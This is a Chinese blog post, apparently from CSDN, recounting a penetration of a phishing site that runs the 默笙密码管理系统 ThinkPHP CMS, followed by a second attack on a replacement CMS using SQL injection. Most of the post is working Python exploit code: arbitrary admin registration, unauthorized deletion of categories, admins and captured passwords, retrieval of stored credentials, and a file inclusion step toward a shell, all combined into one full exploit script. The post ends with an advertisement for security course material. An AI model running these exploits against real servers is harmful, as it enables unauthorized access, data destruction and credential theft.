记一次对钓鱼网站的多次渗透
![](https://img-blog.csdnimg.cn/img_convert/e714b52c42070ae1f77a98d9fc06c4b2.png)
0x01 首先我们对目标进行目录扫描,发现admin.php 进入发现是后台界面,右击查看网页源码
![](https://img-blog.csdnimg.cn/img_convert/03d91ed536d1958bcca62ad5aee75a2f.png)
我们复制title到百度搜索一下
![](https://img-blog.csdnimg.cn/img_convert/7d5d0ccdefe92e288cd8d8c505cfe637.png)
第一个是官网 我把源码下载,看了一遍,发现是一个叫 默笙密码管理系统V2.0 这套源码和钓鱼网站一致
![](https://img-blog.csdnimg.cn/img_convert/72fd3a3d86aae7c72728f2a34aa59768.png)
0x02 开始审计 这套cms是基于thinkphp的,所以我们直接跳到控制器开始审计 我们看到代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以我们看下有没有逻辑绕过漏洞,或者是隐藏的接口 0x03 首先审计Admin的控制器
![](https://img-blog.csdnimg.cn/img_convert/ccfafe3cee1dde16d51d27c1407fbf9b.png)
打开看了一下除了Login 其它的控制器均有登录认证,所以我们先审计Login
![](https://img-blog.csdnimg.cn/img_convert/845a4b756da85e10ff979c474e7066b2.png)
我们看到有5个方法
![](https://img-blog.csdnimg.cn/img_convert/e2f405849208b2d248ea14b03618f2d8.png)
我们先打开前2个方法 方法 login 是判断数据库中是否存在管理员,如果不存在则去reg注册管理员
![](https://img-blog.csdnimg.cn/img_convert/368a4bcc1b851e9c80c3963e4d849ba5.png)
方法 reg 是判断数据库中是否存在管理员,如果不存在则进行注册,所以login 和reg方法是没有洞了
![](https://img-blog.csdnimg.cn/img_convert/76427bbce4944ca42be383c3db6f1485.png)
方法 loging 是登陆的,我们上文说了是代码都是以Model对象的方式调用数据库查询,所以基本不存在注入,所以loging也没洞
![](https://img-blog.csdnimg.cn/img_convert/085adb291e1023323f1c8e08ea2cdc26.png)
方法 regist 他首先判断了提交方式是不是AJAX 我们只要在协议头添加X-Requested-With:XMLHttpRequest就好了 然后我们看到两个参数 $data['username'] = I('post.p','','md5');$data['password'] = I('post.c','','md5'); 然后它竟然直接进行进行添加管理员了,不过这个管理员不是超级管理员,但是可以登录后台就已经足够了,下面有个漏洞是提权
![](https://img-blog.csdnimg.cn/img_convert/a1a1a1482e6fb3ed93c356498b625252.png)
漏洞一 任意管理员添加 exp python def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" 漏洞二 将普通管理员提权到超级管理员 我们看到验证管理员的逻辑是这样的,它先从session取出管理员的id然后进行查询 判断字段 is_all 是否等于1,如果是1则不是管理员,反之 我们只需要社工管理员让他删掉我们的账户,我们就可以跳过这个认证,成为超级管理员
![](https://img-blog.csdnimg.cn/img_convert/b2657fe88776d63e3189bc95b90c3484.png)
漏洞三 越权删除分类 直接将post过来的id进行删除
![](https://img-blog.csdnimg.cn/img_convert/24b0ce1a21cbdd5b5e3cd76bb543cd1c.png)
exp python def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞四 越权删除超级管理员 直接将post过来的id进行删除,只能删除超级管理员
![](https://img-blog.csdnimg.cn/img_convert/4a137466f91819502d734547f2c78e69.png)
exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越权删除钓鱼密码 直接将post过来的id进行删除,不能删除含有普通管理员id的
![](https://img-blog.csdnimg.cn/img_convert/e34f840b7d192b38eb89881693fa3475.png)
exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越权查看钓鱼密码 直接将get过来的id进行查询
![](https://img-blog.csdnimg.cn/img_convert/dbae68f469b9df815b37cbd74aa74582.png)
exp python def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result 漏洞六 GetShell 文件包含 前提是能在目标服务器上传.html后缀的文件
![](https://img-blog.csdnimg.cn/img_convert/ef37f62b9c44f8a29af47e60af684e75.png)
![](https://img-blog.csdnimg.cn/img_convert/86db7ec29ea46388dbb6eb851fac6619.jpeg)
exp python def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return result 0x04 利用以上漏洞我们已经控制了目标服务器 我们看到这个钓鱼网站有很多的模板,还注明了钓鱼网站的作者,我们把它钓到的密码进行删除 完整 exp python import hashlib import random import requests import re domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result def DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability" def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" if __name__=="__main__": print(RegAdmin())添加管理员 print(GetPass(1))获取密码 print(DelPass(1))删除密码 print(classdel(1))删除分类 print(userdel(1))删除管理员 print(uptemple("../test")) 文件包含
![](https://img-blog.csdnimg.cn/img_convert/64e8599a075cd99796458d278530ff94.jpeg)
![](https://img-blog.csdnimg.cn/img_convert/632dd12a14d52e3ffe8315612362416c.png)
![](https://img-blog.csdnimg.cn/img_convert/05da624c262f2f2d27878e07884fdd2f.jpeg)
再次出击 0x01 多天后管理员发觉了它的鱼站被搞了,换了一套cms 扫描目录,发现history目录,打开发现后台
![](https://img-blog.csdnimg.cn/img_convert/a945bb99ae87d4d80587faa2a3937799.png)
0x02 单引号输入报错,是注入
![](https://img-blog.csdnimg.cn/img_convert/53b08b47dc07aa10469a2d3c223a0b9f.png)
不过sqlmap识别出来的是时间注入,我们利用它这个报错将时间注入升级到布尔注入
![](https://img-blog.csdnimg.cn/img_convert/9603fd43611d221c26ed04a7324f0672.png)
![](https://img-blog.csdnimg.cn/img_convert/8ffb2bf0d605f33a0f845c7f5ea18116.jpeg)
![](https://img-blog.csdnimg.cn/img_convert/5c9a3d7ddd95431e4524d75609f58235.jpeg)
0x03 解出md5,登陆后台
![](https://img-blog.csdnimg.cn/img_convert/1201eb776154608458676ac87f2333ff.png)
![](https://img-blog.csdnimg.cn/img_convert/5dfb33e66f5009f77c637b204b300ba1.jpeg)
学习计划安排
![](https://img-blog.csdnimg.cn/img_convert/1dc79707bf542efb6eedc2a401b57709.png)
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
![](https://img-blog.csdnimg.cn/direct/b753740332f14605a4665085876e9ccb.jpeg)
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析